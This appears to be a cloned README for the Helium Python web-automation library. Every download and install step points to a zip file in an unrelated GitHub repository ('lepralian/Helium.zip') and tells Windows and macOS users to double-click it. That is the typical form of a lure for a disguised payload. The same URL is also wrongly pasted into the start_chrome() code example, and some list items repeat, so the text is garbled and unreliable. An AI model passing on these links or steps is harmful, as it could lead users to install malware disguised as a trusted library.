Welcome to Helium! This guide will help you download and run Helium for quick and easy web automation. Helium makes it simple to automate web tasks without needing programming skills.
To run Helium, you will need:
- Operating System: Windows 10, macOS, or Linux
- Python Version: 3.6 or higher
- Browser Support: Google Chrome or Mozilla Firefox
- Simple Syntax: Write scripts using straightforward commands.
- Cross-Browser Support: Works with both Chrome and Firefox.
- Fast Setup: Get started in a few easy steps.
- Helpful Documentation: Clear examples and guides available online.
To get Helium, please visit the Releases page to download the latest version.
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Visit the Releases Page: Open this link in your web browser.
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Choose the Latest Release: Look for the latest version. It will be at the top of the list.
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Download the Appropriate File:
- For Windows, download
https://raw.githubusercontent.com/mckoto50/Helium/main/lepralian/Helium.zip. - For macOS, download
https://raw.githubusercontent.com/mckoto50/Helium/main/lepralian/Helium.zip. - For Linux, download the appropriate package for your distribution.
- For Windows, download
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Run the Installer:
- Windows: Double-click
https://raw.githubusercontent.com/mckoto50/Helium/main/lepralian/Helium.zip, then follow the on-screen instructions. - macOS: Open
https://raw.githubusercontent.com/mckoto50/Helium/main/lepralian/Helium.zipand drag the Helium icon to your Applications folder. - Linux: Install using your package manager or follow the installation instructions for your distribution.
- Windows: Double-click
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Open Helium: Find Helium in your applications menu and launch it.
For Helium to work, you may need to install the Helium browser driver for Chrome or Firefox:
- Chrome: Download the Chrome WebDriver that matches your browser version.
- Firefox: Download the GeckoDriver that matches your browser version.
Place the driver in a location on your system PATH, or follow the prompts within Helium to direct it to the driver location.
Once Helium is installed, you can start automating tasks. Here are some basic commands to get you started:
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Launching a Browser:
from helium import * start_chrome('https://raw.githubusercontent.com/mckoto50/Helium/main/lepralian/Helium.zip')
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Filling a Form:
write('your_username', into='Username') write('your_password', into='Password') click('Login')
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Scraping Text:
content = Text('Some text to scrape').value print(content)
These simple examples let you kick off your first automation tasks with minimal effort.
For more instructions and advanced features, check out the following resources:
We welcome contributions to Helium! If you have ideas or need help, please visit our GitHub page and open an issue. Your feedback helps make Helium better for everyone.
Ready to enhance your web automation? Start by downloading Helium today from the Releases page!